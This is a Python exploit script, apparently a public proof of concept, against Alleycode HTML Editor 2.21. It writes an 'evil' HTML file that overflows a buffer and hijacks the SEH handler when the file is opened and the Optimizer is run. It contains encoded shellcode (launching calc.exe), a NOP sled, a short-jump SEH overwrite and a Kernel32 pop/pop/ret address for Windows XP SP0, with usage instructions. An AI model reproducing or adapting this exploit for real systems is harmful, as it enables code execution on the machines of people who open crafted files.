#!/usr/bin/env python #################################################################### # # Alleycode HTML Editor 2.21 Local (.HTML) Overflow Exploit (SEH) # Coded By: Dr_IDE # Found By: Rafael de Sousa # Tested On: XPSP0 (SP3 doesn't have any usable P/P/R) # Download: www.alleycode.com # #################################################################### # calc.exe - 303 bytes # Encoder - alpha/upper # EXITFUNC - SEH sc = ( "\x89\xe1\xd9\xee\xd9\x71\xf4\x58\x50\x59\x49\x49\x49\x49" "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" "\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" "\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" "\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a" "\x48\x47\x34\x43\x30\x45\x50\x45\x50\x4c\x4b\x51\x55\x47" "\x4c\x4c\x4b\x43\x4c\x45\x55\x42\x58\x45\x51\x4a\x4f\x4c" "\x4b\x50\x4f\x45\x48\x4c\x4b\x51\x4f\x51\x30\x43\x31\x4a" "\x4b\x51\x59\x4c\x4b\x50\x34\x4c\x4b\x43\x31\x4a\x4e\x46" "\x51\x49\x50\x4c\x59\x4e\x4c\x4d\x54\x49\x50\x42\x54\x45" "\x57\x49\x51\x49\x5a\x44\x4d\x43\x31\x48\x42\x4a\x4b\x4c" "\x34\x47\x4b\x50\x54\x47\x54\x45\x54\x43\x45\x4b\x55\x4c" "\x4b\x51\x4f\x47\x54\x45\x51\x4a\x4b\x45\x36\x4c\x4b\x44" "\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x4c" "\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4c\x49\x51\x4c\x46" "\x44\x44\x44\x48\x43\x51\x4f\x50\x31\x4a\x56\x45\x30\x50" "\x56\x42\x44\x4c\x4b\x51\x56\x50\x30\x4c\x4b\x51\x50\x44" "\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x43\x58\x45" "\x58\x4b\x39\x4a\x58\x4d\x53\x49\x50\x42\x4a\x50\x50\x43" "\x58\x4a\x50\x4d\x5a\x44\x44\x51\x4f\x45\x38\x4a\x38\x4b" "\x4e\x4c\x4a\x44\x4e\x50\x57\x4b\x4f\x4d\x37\x42\x43\x43" "\x51\x42\x4c\x42\x43\x43\x30\x41\x41"); head = ("\n"); # Don't touch the html stuff. buff = ("@" * 504); # Overwrite SEH Pointer nseh = ("\xEB\x64\x90\x90"); # Need to pass some garbage in stack retn = ("\x0E\x03\xEB\x77"); # P/P/R Kernel32.dll XPSP0 nops = ("\x90" * 116); # SLIIIIIIIIIIIIIIIIIIIIIIIIIIIIIDE! junk = ("\x40" * (688 - len(sc))); # Looks like 688 bytes for Shellcode foot = ("\nCalculator goes BOOM!\n\n"); sploit = (head + buff + nseh + retn + nops + sc + junk + foot); try: print ("\n\n#######################################################"); print ("# Alleycode HTML Editor 2.21 Local HTML Buffer Overflow"); print ("# By: Dr_IDE"); print ("# pocoftheday.blogspot.com"); print ("#######################################################\n"); print ("[*] Writing evil HTML file."); f1 = open("Dr_IDEs_Evil_Homepage.html","w"); f1.write(sploit); f1.close(); print ('[*] Success. Load File and Click "Tools -> Optimizer".'); except: print ("[-] Error, could not write the file.");